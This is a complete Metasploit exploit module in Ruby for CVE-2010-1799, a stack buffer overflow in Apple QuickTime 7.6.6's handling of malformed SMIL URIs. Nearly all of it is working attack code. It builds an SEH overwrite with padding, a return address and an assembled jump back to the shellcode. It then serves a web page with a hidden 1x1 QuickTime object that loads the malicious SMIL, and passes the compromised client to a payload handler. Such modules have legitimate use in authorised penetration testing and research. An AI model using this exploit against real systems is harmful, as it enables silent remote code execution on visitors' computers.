##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking # needs more testing/targets to be Great

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Seh

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank       => NormalRanking, # reliable memory corruption
		:vuln_test  => nil,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Apple QuickTime
				7.6.6. When processing a malformed SMIL uri, a stack-based buffer
				overflow can occur when logging an error message.
			},
			'Author'         =>
				[
					'Krystian Kloskowski',  # original discovery
					'jduck'                 # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2010-1799' ],
					[ 'OSVDB', '66636'],
					[ 'BID', '41962' ],
					[ 'URL', 'http://secunia.com/advisories/40729/' ],
					[ 'URL', 'http://support.apple.com/kb/HT4290' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 640, # 716 - 63 - 8 - 5
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					#[ 'Automatic', { } ],
					[ 'Apple QuickTime Player 7.6.6',
						{
							'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 12 2010',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(client, request)

		return if ((p = regenerate_payload(client)) == nil)

		if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
			print_status("Sending exploit SMIL (target: #{target.name})")

			# This is all basically filler on the browser target because we can't
			# expect the SEH to be in a reliable place across multiple browsers.
			# Heap spray ftw.

			off = 716
			start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"

			scheme = rand_text_alphanumeric(5)

			sploit = ''
			sploit << scheme
			sploit << "://"

			# payload
			sploit << p.encoded

			# pad to SEH
			sploit << rand_text_english(off - sploit.length - start.length)

			# seh frame
			sploit << generate_seh_record(target.ret)

			# jmp back to payload
			distance = off + 8 - (8 + start.length)
			sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

			# force exception while writing
			sploit << rand_text(1024) * 15

			smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">
<body>
<img src="#{sploit}" />
</body>
</smil>
|
			send_response(client, smil, { 'Content-Type' => "application/smil" })

		else
			print_status("Sending initial HTML")

			shellcode = Rex::Text.to_unescape(p.encoded)
			url =  ((datastore['SSL']) ? "https://" : "http://")
			url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
			url << ":" + datastore['SRVPORT'].to_s
			url << get_resource

			fname = rand_text_alphanumeric(4)

			content =  "<html><body>"
			content << <<-ENDEMBED
					<OBJECT
					CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
					WIDTH="1"
					HEIGHT="1"
					CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
					<PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">
					<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">
					<PARAM name="AUTOPLAY"   VALUE = "true"               >
					<PARAM name="TYPE"       VALUE = "video/quicktime"    >
					<PARAM name="TARGET"     VALUE = "myself"             >
					<EMBED
						SRC        = "#{url}/#{fname}.qtl"
						QTSRC      = "#{url}/#{fname}.qtl"
						TARGET     = "myself"
						WIDTH      = "1"
						HEIGHT     = "1"
						AUTOPLAY   = "true"
						PLUGIN     = "quicktimeplugin"
						TYPE       = "video/quicktime"
						CACHE      = "false"
						PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
					</EMBED>
					</OBJECT>
				ENDEMBED
			content << "</body></html>"

			send_response(client, content, { 'Content-Type' => "text/html" })
		end

		# Handle the payload
		handler(client)
	end

end
